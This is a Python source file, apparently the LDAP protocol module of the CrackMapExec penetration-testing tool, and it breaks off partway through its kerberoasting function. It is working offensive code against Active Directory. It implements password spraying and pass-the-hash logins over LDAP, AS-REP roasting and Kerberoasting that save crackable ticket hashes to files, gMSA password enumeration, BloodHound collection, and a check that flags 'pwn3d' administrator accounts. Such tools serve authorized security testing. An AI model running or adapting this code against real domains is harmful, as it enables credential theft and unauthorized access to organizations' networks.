#!/usr/bin/env python3 # -*- coding: utf-8 -*- # from https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetNPUsers.py # https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf import hmac import os from datetime import datetime from impacket.dcerpc.v5.epm import MSRPC_UUID_PORTMAP from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE from impacket.dcerpc.v5.transport import DCERPCTransportFactory from cme.connection import * from cme.helpers.logger import highlight from cme.logger import CMEAdapter, cme_logger from cme.helpers.bloodhound import add_user_bh from cme.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB from cme.protocols.ldap.kerberos import KerberosAttacks from cme.protocols.ldap.bloodhound import BloodHound from cme.console import cme_console from impacket.smbconnection import SMBConnection, SessionError from impacket.smb import SMB_DIALECT from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_DONT_REQUIRE_PREAUTH, UF_TRUSTED_FOR_DELEGATION, UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION from impacket.krb5.kerberosv5 import sendReceive, KerberosError, getKerberosTGT, getKerberosTGS, SessionKeyDecryptionError from impacket.krb5.types import KerberosTime, Principal, KerberosException from impacket.ldap import ldap as ldap_impacket from impacket.krb5 import constants from impacket.ldap import ldapasn1 as ldapasn1_impacket from impacket.ldap.ldaptypes import SR_SECURITY_DESCRIPTOR from bloodhound.ad.domain import AD from bloodhound.ad.authentication import ADAuthentication from argparse import _StoreTrueAction from binascii import b2a_hex, unhexlify, hexlify from Cryptodome.Hash import MD4 from io import StringIO from pywerview.cli.helpers import * from re import sub, I from zipfile import ZipFile from OpenSSL.SSL import SysCallError ldap_error_status = { "1": "STATUS_NOT_SUPPORTED", "533": "STATUS_ACCOUNT_DISABLED", "701": "STATUS_ACCOUNT_EXPIRED", "531": "STATUS_ACCOUNT_RESTRICTION", "530": "STATUS_INVALID_LOGON_HOURS", "532": "STATUS_PASSWORD_EXPIRED", "773": "STATUS_PASSWORD_MUST_CHANGE", "775": "USER_ACCOUNT_LOCKED", "50": "LDAP_INSUFFICIENT_ACCESS", "KDC_ERR_CLIENT_REVOKED": "KDC_ERR_CLIENT_REVOKED", "KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED" } def resolve_collection_methods(methods): """ Convert methods (string) to list of validated methods to resolve """ valid_methods = ['group', 'localadmin', 'session', 'trusts', 'default', 'all', 'loggedon', 'objectprops', 'experimental', 'acl', 'dcom', 'rdp', 'psremote', 'dconly', 'container'] default_methods = ['group', 'localadmin', 'session', 'trusts'] # Similar to SharpHound, All is not really all, it excludes loggedon all_methods = ['group', 'localadmin', 'session', 'trusts', 'objectprops', 'acl', 'dcom', 'rdp', 'psremote', 'container'] # DC only, does not collect to computers dconly_methods = ['group', 'trusts', 'objectprops', 'acl', 'container'] if ',' in methods: method_list = [method.lower() for method in methods.split(',')] validated_methods = [] for method in method_list: if method not in valid_methods: cme_logger.error('Invalid collection method specified: %s', method) return False if method == 'default': validated_methods += default_methods elif method == 'all': validated_methods += all_methods elif method == 'dconly': validated_methods += dconly_methods else: validated_methods.append(method) return set(validated_methods) else: validated_methods = [] # It is only one method = methods.lower() if method in valid_methods: if method == 'default': validated_methods += default_methods elif method == 'all': validated_methods += all_methods elif method == 'dconly': validated_methods += dconly_methods else: validated_methods.append(method) return set(validated_methods) else: cme_logger.error('Invalid collection method specified: %s', method) return False def get_conditional_action(baseAction): class ConditionalAction(baseAction): def __init__(self, option_strings, dest, **kwargs): x = kwargs.pop('make_required', []) super(ConditionalAction, self).__init__(option_strings, dest, **kwargs) self.make_required = x def __call__(self, parser, namespace, values, option_string=None): for x in self.make_required: x.required = True super(ConditionalAction, self).__call__(parser, namespace, values, option_string) return ConditionalAction class ldap(connection): def __init__(self, args, db, host): self.domain = None self.server_os = None self.os_arch = 0 self.hash = None self.ldapConnection = None self.lmhash = '' self.nthash = '' self.baseDN = '' self.target = '' self.targetDomain = '' self.remote_ops = None self.bootkey = None self.output_filename = None self.smbv1 = None self.signing = False self.smb_share_name = None self.admin_privs = False self.no_ntlm = False self.sid_domain = "" connection.__init__(self, args, db, host) @staticmethod def proto_args(parser, std_parser, module_parser): ldap_parser = parser.add_parser('ldap', help="own stuff using LDAP", parents=[std_parser, module_parser]) ldap_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes') ldap_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2') ldap_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes") ldap_parser.add_argument("--port", type=int, choices={389, 636}, default=389, help="LDAP port (default: 389)") no_smb_arg = ldap_parser.add_argument("--no-smb", action=get_conditional_action(_StoreTrueAction), make_required=[], help='No smb connection') dgroup = ldap_parser.add_mutually_exclusive_group() domain_arg = dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to") dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target') no_smb_arg.make_required = [domain_arg] egroup = ldap_parser.add_argument_group("Retrevie hash on the remote DC", "Options to get hashes from Kerberos") egroup.add_argument("--asreproast", help="Get AS_REP response ready to crack with hashcat") egroup.add_argument("--kerberoasting", help='Get TGS ticket ready to crack with hashcat') vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain", "Options to to play with Kerberos") vgroup.add_argument("--trusted-for-delegation", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION") vgroup.add_argument("--password-not-required", action="store_true", help="Get the list of users with flag PASSWD_NOTREQD") vgroup.add_argument("--admin-count", action="store_true", help="Get objets that had the value adminCount=1") vgroup.add_argument("--users", action="store_true", help="Enumerate enabled domain users") vgroup.add_argument("--groups", action="store_true", help="Enumerate domain groups") vgroup.add_argument("--get-sid", action="store_true", help="Get domain sid") ggroup = ldap_parser.add_argument_group("Retrevie gmsa on the remote DC", "Options to play with gmsa") ggroup.add_argument("--gmsa", action="store_true", help="Enumerate GMSA passwords") ggroup.add_argument("--gmsa-convert-id", help="Get the secret name of specific gmsa or all gmsa if no gmsa provided") ggroup.add_argument("--gmsa-decrypt-lsa", help="Decrypt the gmsa encrypted value from LSA") bgroup = ldap_parser.add_argument_group("Bloodhound scan", "Options to play with bloodhoud") bgroup.add_argument("--bloodhound", action="store_true", help="Perform bloodhound scan") bgroup.add_argument("-ns", '--nameserver', help="Custom DNS IP") bgroup.add_argument("-c", "--collection", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All. You can specify more than one by separating them with a comma. (default: Default)'") return parser def proto_logger(self): cme_console.print("Creating logger)") # self.logger = cme_logger self.logger = CMEAdapter( extra={ 'protocol': "LDAP", 'host': self.host, 'port': self.args.port, 'hostname': self.hostname } ) def get_ldap_info(self, host): try: proto = "ldaps" if (self.args.gmsa or self.args.port == 636) else "ldap" ldap_url = f"{proto}://{host}" self.logger.info(f"Connecting to {ldap_url} with no baseDN") try: ldap_connection = ldap_impacket.LDAPConnection(ldap_url) if ldap_connection: self.logger.debug(f"ldap_connection: {ldap_connection}") except SysCallError as e: if proto == "ldaps": self.logger.debug(f"LDAPs connection to {ldap_url} failed - {e}") # https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/enable-ldap-over-ssl-3rd-certification-authority self.logger.debug(f"Even if the port is open, LDAPS may not be configured") else: self.logger.debug(f"LDAP connection to {ldap_url} failed: {e}") return [None, None, None] resp = ldap_connection.search( scope=ldapasn1_impacket.Scope('baseObject'), attributes=['defaultNamingContext', 'dnsHostName'], sizeLimit=0 ) for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue target = None target_domain = None base_dn = None try: for attribute in item['attributes']: if str(attribute['type']) == 'defaultNamingContext': base_dn = str(attribute['vals'][0]) target_domain = sub(',DC=', '.', base_dn[base_dn.lower().find('dc='):], flags=I)[3:] if str(attribute['type']) == 'dnsHostName': target = str(attribute['vals'][0]) except Exception as e: self.logger.debug("Exception:", exc_info=True) self.logger.info('Skipping item, cannot process due to error %s' % str(e)) except OSError as e: return [None, None, None] self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}") return [target, target_domain, base_dn] def get_os_arch(self): try: string_binding = r'ncacn_ip_tcp:{}[135]'.format(self.host) transport = DCERPCTransportFactory(string_binding) transport.set_connect_timeout(5) dce = transport.get_dce_rpc() if self.args.kerberos: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.connect() try: dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')) except DCERPCException as e: if str(e).find('syntaxes_not_supported') >= 0: dce.disconnect() return 32 else: dce.disconnect() return 64 except Exception as e: self.logger.fail('Error retrieving os arch of {}: {}'.format(self.host, str(e))) return 0 def get_ldap_username(self): extended_request = ldapasn1_impacket.ExtendedRequest() extended_request['requestName'] = '1.3.6.1.4.1.4203.1.11.3' # whoami response = self.ldapConnection.sendReceive(extended_request) for message in response: search_result = message['protocolOp'].getComponent() if search_result['resultCode'] == ldapasn1_impacket.ResultCode('success'): response_value = search_result['responseValue'] if response_value.hasValue(): value = response_value.asOctets().decode(response_value.encoding)[2:] return value.split('\\')[1] return '' def enum_host_info(self): self.target, self.targetDomain, self.baseDN = self.get_ldap_info(self.host) self.hostname = self.target self.domain = self.targetDomain # smb no open, specify the domain if self.args.no_smb: self.domain = self.args.domain else: self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0] try: self.conn.login('', '') except BrokenPipeError as e: self.logger.fail(f"Broken Pipe Error while attempting to login: {e}") except Exception as e: if "STATUS_NOT_SUPPORTED" in str(e): self.no_ntlm = True pass if not self.no_ntlm: self.domain = self.conn.getServerDNSDomainName() self.hostname = self.conn.getServerName() self.server_os = self.conn.getServerOS() self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection['RequireSigning'] self.os_arch = self.get_os_arch() if not self.domain: self.domain = self.hostname try: # DC's seem to want us to logoff first, windows workstations sometimes reset the connection self.conn.logoff() except: pass if self.args.domain: self.domain = self.args.domain if self.args.local_auth: self.domain = self.hostname # Re-connect since we logged off self.create_conn_obj() self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S"))) self.output_filename = self.output_filename.replace(":", "-") def print_host_info(self): self.logger.debug("Printing host info for LDAP") if self.args.no_smb: self.logger.extra['protocol'] = "LDAP" self.logger.extra['port'] = "389" self.logger.display(u"Connecting to LDAP {}".format(self.hostname)) # self.logger.display(self.endpoint) else: self.logger.extra['protocol'] = "SMB" if not self.no_ntlm else "LDAP" self.logger.extra['port'] = "445" if not self.no_ntlm else "389" self.logger.success(u"{}{} (name:{}) (domain:{}) (signing:{}) (SMBv1:{})".format( self.server_os, ' x{}'.format(self.os_arch) if self.os_arch else '', self.hostname, self.domain, self.signing, self.smbv1) ) self.logger.extra['protocol'] = "LDAP" # self.logger.display(self.endpoint) return True def kerberos_login(self, domain, username, password='', ntlm_hash='', aesKey='', kdcHost='', useCache=False): cme_logger.getLogger("impacket").disabled = True self.username = username self.password = password self.domain = domain self.kdcHost = kdcHost self.aesKey = aesKey lmhash = '' nthash = '' self.username = username # This checks to see if we didn't provide the LM Hash if ntlm_hash.find(':') != -1: lmhash, nthash = ntlm_hash.split(':') self.hash = nthash else: nthash = ntlm_hash self.hash = ntlm_hash if lmhash: self.lmhash = lmhash if nthash: self.nthash = nthash if self.password == '' and self.args.asreproast: hash_tgt = KerberosAttacks(self).getTGT_asroast(self.username) if hash_tgt: self.logger.highlight(u'{}'.format(hash_tgt)) with open(self.args.asreproast, 'a+') as hash_asreproast: hash_asreproast.write(hash_tgt + '\n') return False if not all('' == s for s in [self.nthash, password, aesKey]): kerb_pass = next(s for s in [self.nthash, password, aesKey] if s) else: kerb_pass = '' try: # Connect to LDAP proto = "ldaps" if (self.args.gmsa or self.args.port == 636) else "ldap" ldap_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} [1]") self.ldapConnection = ldap_impacket.LDAPConnection(ldap_url, self.baseDN) self.ldapConnection.kerberosLogin( username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache ) if self.username == '': self.username = self.get_ldap_username() self.check_if_admin() out = u'{}\\{}{} {}'.format( domain, self.username, # Show what was used between cleartext, nthash, aesKey and ccache " from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8), highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '') ) self.logger.extra['protocol'] = "LDAP" self.logger.extra['port'] = "636" if (self.args.gmsa or self.args.port == 636) else "389" self.logger.success(out) if not self.args.local_auth: add_user_bh(self.username, self.domain, self.logger, self.config) if not self.args.continue_on_success: return True except SessionKeyDecryptionError: # for PRE-AUTH account self.logger.success(u'{}\\{}{} {}'.format( domain, self.username, " account vulnerable to asreproast attack", ""), color='yellow' ) return False except SessionError as e: error, desc = e.getErrorString() self.logger.fail(u'{}\\{}{} {}'.format( self.domain, self.username, " from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8), str(error)), color='magenta' if error in ldap_error_status else 'red' ) return False except (KeyError, KerberosException, OSError) as e: self.logger.fail(u'{}\\{}{} {}'.format( self.domain, self.username, " from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8), str(e)), color='red' ) return False except ldap_impacket.LDAPSessionError as e: if str(e).find('strongerAuthRequired') >= 0: # We need to try SSL try: # Connect to LDAPS ldaps_url = f"ldaps://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} [2]") self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN) self.ldapConnection.kerberosLogin( username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache ) if self.username == '': self.username = self.get_ldap_username() self.check_if_admin() # Prepare success credential text out = u'{}\\{} {}'.format( domain, self.username, highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '') ) self.logger.extra['protocol'] = "LDAPS" self.logger.extra['port'] = "636" self.logger.success(out) if not self.args.local_auth: add_user_bh(self.username, self.domain, self.logger, self.config) if not self.args.continue_on_success: return True except ldap_impacket.LDAPSessionError as e: error_code = str(e).split()[-2][:-1] self.logger.fail(u'{}\\{}:{} {}'.format( self.domain, self.username, self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8, ldap_error_status[error_code] if error_code in ldap_error_status else ''), color='magenta' if error_code in ldap_error_status else 'red' ) return False except SessionError as e: error, desc = e.getErrorString() self.logger.fail(u'{}\\{}{} {}'.format( self.domain, self.username, " from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8), str(error)), color='magenta' if error in ldap_error_status else 'red' ) return False else: error_code = str(e).split()[-2][:-1] self.logger.fail(u'{}\\{}{} {}'.format( self.domain, self.username, " from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8), ldap_error_status[error_code] if error_code in ldap_error_status else ''), color='magenta' if error_code in ldap_error_status else 'red' ) return False def plaintext_login(self, domain, username, password): self.username = username self.password = password self.domain = domain if self.password == '' and self.args.asreproast: hash_tgt = KerberosAttacks(self).getTGT_asroast(self.username) if hash_tgt: self.logger.highlight(u'{}'.format(hash_tgt)) with open(self.args.asreproast, 'a+') as hash_asreproast: hash_asreproast.write(hash_tgt + '\n') return False try: # Connect to LDAP proto = "ldaps" if (self.args.gmsa or self.args.port == 636) else "ldap" ldap_url = f"{proto}://{self.target}" self.logger.debug(f"Connecting to {ldap_url} - {self.baseDN} [3]") self.ldapConnection = ldap_impacket.LDAPConnection(ldap_url, self.baseDN) self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() # Prepare success credential text out = u'{}\\{}:{} {}'.format( domain, self.username, self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8, highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '') ) self.logger.extra['protocol'] = "LDAP" self.logger.extra['port'] = "636" if (self.args.gmsa or self.args.port == 636) else "389" self.logger.success(out) if not self.args.local_auth: add_user_bh(self.username, self.domain, self.logger, self.config) if not self.args.continue_on_success: return True except ldap_impacket.LDAPSessionError as e: if str(e).find('strongerAuthRequired') >= 0: # We need to try SSL try: # Connect to LDAPS ldaps_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} [4]") self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN) self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() # Prepare success credential text out = u'{}\\{}:{} {}'.format( domain, self.username, self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8, highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '') ) self.logger.extra['protocol'] = "LDAPS" self.logger.extra['port'] = "636" self.logger.success(out) if not self.args.local_auth: add_user_bh(self.username, self.domain, self.logger, self.config) if not self.args.continue_on_success: return True except ldap_impacket.LDAPSessionError as e: error_code = str(e).split()[-2][:-1] self.logger.fail(u'{}\\{}:{} {}'.format( self.domain, self.username, self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8, ldap_error_status[error_code] if error_code in ldap_error_status else ''), color='magenta' if (error_code in ldap_error_status and error_code != 1) else 'red' ) else: error_code = str(e).split()[-2][:-1] self.logger.fail(u'{}\\{}:{} {}'.format( self.domain, self.username, self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8, ldap_error_status[error_code] if error_code in ldap_error_status else ''), color='magenta' if (error_code in ldap_error_status and error_code != 1) else 'red' ) return False except OSError as e: self.logger.fail(u'{}\\{}:{} {} \nError: {}'.format( self.domain, self.username, self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8, "Error connecting to the domain, are you sure LDAP service is running on the target?", e )) return False def hash_login(self, domain, username, ntlm_hash): self.logger.extra['protocol'] = "LDAP" self.logger.extra['port'] = "389" lmhash = "" nthash = "" # This checks to see if we didn't provide the LM Hash if ntlm_hash.find(':') != -1: lmhash, nthash = ntlm_hash.split(':') else: nthash = ntlm_hash self.hash = ntlm_hash if lmhash: self.lmhash = lmhash if nthash: self.nthash = nthash self.username = username self.domain = domain if self.hash == '' and self.args.asreproast: hash_tgt = KerberosAttacks(self).getTGT_asroast(self.username) if hash_tgt: self.logger.highlight(u'{}'.format(hash_tgt)) with open(self.args.asreproast, 'a+') as hash_asreproast: hash_asreproast.write(hash_tgt + '\n') return False try: # Connect to LDAP proto = "ldaps" if (self.args.gmsa or self.args.port == 636) else "ldap" ldaps_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN}") self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN) self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() # Prepare success credential text out = u'{}\\{}:{} {}'.format( domain, self.username, self.nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8, highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '') ) self.logger.extra['protocol'] = "LDAP" self.logger.extra['port'] = "636" if (self.args.gmsa or self.args.port == 636) else "389" self.logger.success(out) if not self.args.local_auth: add_user_bh(self.username, self.domain, self.logger, self.config) if not self.args.continue_on_success: return True except ldap_impacket.LDAPSessionError as e: if str(e).find('strongerAuthRequired') >= 0: try: # We need to try SSL ldaps_url = f"{proto}://{self.target}" self.logger.debug(f"Connecting to {ldaps_url} - {self.baseDN}") self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN) self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() # Prepare success credential text out = u'{}\\{}:{} {}'.format( domain, self.username, self.nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8, highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '') ) self.logger.extra['protocol'] = "LDAPS" self.logger.extra['port'] = "636" self.logger.success(out) if not self.args.local_auth: add_user_bh(self.username, self.domain, self.logger, self.config) if not self.args.continue_on_success: return True except ldap_impacket.LDAPSessionError as e: error_code = str(e).split()[-2][:-1] self.logger.fail(u'{}\\{}:{} {}'.format( self.domain, self.username, nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8, ldap_error_status[error_code] if error_code in ldap_error_status else ''), color='magenta' if (error_code in ldap_error_status and error_code != 1) else 'red' ) else: error_code = str(e).split()[-2][:-1] self.logger.fail(u'{}\\{}:{} {}'.format( self.domain, self.username, nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8, ldap_error_status[error_code] if error_code in ldap_error_status else ''), color='magenta' if (error_code in ldap_error_status and error_code != 1) else 'red' ) return False except OSError as e: self.logger.fail(u'{}\\{}:{} {} \nError: {}'.format( self.domain, self.username, self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8, "Error connecting to the domain, are you sure LDAP service is running on the target?", e )) return False def create_smbv1_conn(self): self.logger.debug(f"Creating smbv1 connection object") try: self.conn = SMBConnection(self.host, self.host, None, 445, preferredDialect=SMB_DIALECT) self.smbv1 = True if self.conn: self.logger.debug(f"SMBv1 Connection successful") except socket.error as e: if str(e).find('Connection reset by peer') != -1: self.logger.debug('SMBv1 might be disabled on {}'.format(self.host)) return False except Exception as e: self.logger.debug('Error creating SMBv1 connection to {}: {}'.format(self.host, e)) return False return True def create_smbv3_conn(self): self.logger.debug(f"Creating smbv3 connection object") try: self.conn = SMBConnection(self.host, self.host, None, 445) self.smbv1 = False if self.conn: self.logger.debug(f"SMBv3 Connection successful") except socket.error: return False except Exception as e: self.logger.debug('Error creating SMBv3 connection to {}: {}'.format(self.host, e)) return False return True def create_conn_obj(self): if not self.args.no_smb: if self.create_smbv1_conn(): return True elif self.create_smbv3_conn(): return True return False else: return True def get_sid(self): self.logger.highlight('Domain SID {}'.format(self.sid_domain)) def sid_to_str(self, sid): try: # revision revision = int(sid[0]) # count of sub authorities sub_authorities = int(sid[1]) # big endian identifier_authority = int.from_bytes(sid[2:8], byteorder='big') # If true then it is represented in hex if identifier_authority >= 2 ** 32: identifier_authority = hex(identifier_authority) # loop over the count of small endians sub_authority = '-' + '-'.join([str(int.from_bytes(sid[8 + (i * 4): 12 + (i * 4)], byteorder='little')) for i in range(sub_authorities)]) object_sid = 'S-' + str(revision) + '-' + str(identifier_authority) + sub_authority return object_sid except Exception: pass return sid def check_if_admin(self): # 1. get SID of the domaine search_filter = "(userAccountControl:1.2.840.113556.1.4.803:=8192)" attributes = ["objectSid"] resp = self.search(search_filter, attributes, sizeLimit=0) answers = [] if resp and self.password != '' and self.username != '': for attribute in resp[0][1]: if str(attribute['type']) == 'objectSid': sid = self.sid_to_str(attribute['vals'][0]) self.sid_domain = '-'.join(sid.split('-')[:-1]) # 2. get all group cn name search_filter = "(|(objectSid="+self.sid_domain+"-512)(objectSid="+self.sid_domain+"-544)(objectSid="+self.sid_domain+"-519)(objectSid=S-1-5-32-549)(objectSid=S-1-5-32-551))" attributes = ["distinguishedName"] resp = self.search(search_filter, attributes, sizeLimit=0) answers = [] for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue for attribute in item['attributes']: if str(attribute['type']) == 'distinguishedName': answers.append(str("(memberOf:1.2.840.113556.1.4.1941:=" + attribute['vals'][0] + ")")) # 3. get member of these groups search_filter = "(&(objectCategory=user)(sAMAccountName=" + self.username + ")(|" + ''.join(answers) + "))" attributes = [""] resp = self.search(search_filter, attributes, sizeLimit=0) answers = [] for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue if item: self.admin_privs = True def getUnixTime(self, t): t -= 116444736000000000 t /= 10000000 return t def search(self, searchFilter, attributes, sizeLimit=0): try: if self.ldapConnection: self.logger.debug('Search Filter=%s' % searchFilter) resp = self.ldapConnection.search( searchFilter=searchFilter, attributes=attributes, sizeLimit=sizeLimit ) return resp except ldap_impacket.LDAPSearchError as e: if e.getErrorString().find('sizeLimitExceeded') >= 0: self.logger.fail('sizeLimitExceeded exception caught, giving up and processing the data received') # We reached the sizeLimit, process the answers we have already and that's it. Until we implement # paged queries resp = e.getAnswers() pass else: self.logger.fail(e) return False return False def users(self): # Building the search filter search_filter = "(sAMAccountType=805306368)" attributes = ['sAMAccountName', 'description', 'badPasswordTime', 'badPwdCount', 'pwdLastSet'] resp = self.search(search_filter, attributes, sizeLimit=0) if resp: answers = [] self.logger.display('Total of records returned %d' % len(resp)) for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue sAMAccountName = '' badPasswordTime = '' badPwdCount = 0 description = '' pwdLastSet = '' try: for attribute in item['attributes']: if str(attribute['type']) == 'sAMAccountName': sAMAccountName = str(attribute['vals'][0]) elif str(attribute['type']) == 'description': description = str(attribute['vals'][0]) self.logger.highlight('{:<30} {}'.format(sAMAccountName, description)) except Exception as e: self.cme_logger.debug('Skipping item, cannot process due to error %s' % str(e)) pass return def groups(self): # Building the search filter search_filter = "(objectCategory=group)" attributes = ['name'] resp = self.search(search_filter, attributes, 0) if resp: answers = [] self.logger.debug('Total of records returned %d' % len(resp)) for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue name = '' try: for attribute in item['attributes']: if str(attribute['type']) == 'name': name = str(attribute['vals'][0]) self.logger.highlight('{}'.format(name)) except Exception as e: self.logger.debug("Exception:", exc_info=True) self.logger.debug('Skipping item, cannot process due to error %s' % str(e)) pass return def asreproast(self): if self.password == '' and self.nthash == '' and self.kerberos == False: return False # Building the search filter search_filter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)" \ "(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" % \ (UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE) attributes = ['sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'] resp = self.search(search_filter, attributes, 0) if resp == []: self.logger.highlight("No entries found!") elif resp: answers = [] self.logger.display('Total of records returned %d' % len(resp)) for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue mustCommit = False sAMAccountName = '' memberOf = '' pwdLastSet = '' userAccountControl = 0 lastLogon = 'N/A' try: for attribute in item['attributes']: if str(attribute['type']) == 'sAMAccountName': sAMAccountName = str(attribute['vals'][0]) mustCommit = True elif str(attribute['type']) == 'userAccountControl': userAccountControl = "0x%x" % int(attribute['vals'][0]) elif str(attribute['type']) == 'memberOf': memberOf = str(attribute['vals'][0]) elif str(attribute['type']) == 'pwdLastSet': if str(attribute['vals'][0]) == '0': pwdLastSet = '' else: pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) elif str(attribute['type']) == 'lastLogon': if str(attribute['vals'][0]) == '0': lastLogon = '' else: lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) if mustCommit is True: answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl]) except Exception as e: self.logger.debug("Exception:", exc_info=True) self.logger.debug('Skipping item, cannot process due to error %s' % str(e)) pass if len(answers)>0: for user in answers: hash_TGT = KerberosAttacks(self).getTGT_asroast(user[0]) self.logger.highlight(u'{}'.format(hash_TGT)) with open(self.args.asreproast, 'a+') as hash_asreproast: hash_asreproast.write(hash_TGT + '\n') return True else: self.logger.highlight("No entries found!") return else: self.logger.fail("Error with the LDAP account used") def kerberoasting(self): # Building the search filter searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \ "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))" attributes = ['servicePrincipalName', 'sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'] resp = self.search(searchFilter, attributes, 0) if not resp: self.logger.highlight("No entries found!") elif resp: answers = [] for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue mustCommit = False sAMAccountName = '' memberOf = '' SPNs = [] pwdLastSet = '' userAccountControl = 0 lastLogon = 'N/A' delegation = '' try: for attribute in item['attributes']: if str(attribute['type']) == 'sAMAccountName': sAMAccountName = str(attribute['vals'][0]) mustCommit = True elif str(attribute['type']) == 'userAccountControl': userAccountControl = str(attribute['vals'][0]) if int(userAccountControl) & UF_TRUSTED_FOR_DELEGATION: delegation = 'unconstrained' elif int(userAccountControl) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION: delegation = 'constrained' elif str(attribute['type']) == 'memberOf': memberOf = str(attribute['vals'][0]) elif str(attribute['type']) == 'pwdLastSet': if str(attribute['vals'][0]) == '0': pwdLastSet = '' else: pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) elif str(attribute['type']) == 'lastLogon': if str(attribute['vals'][0]) == '0': lastLogon = '' else: lastLogon = 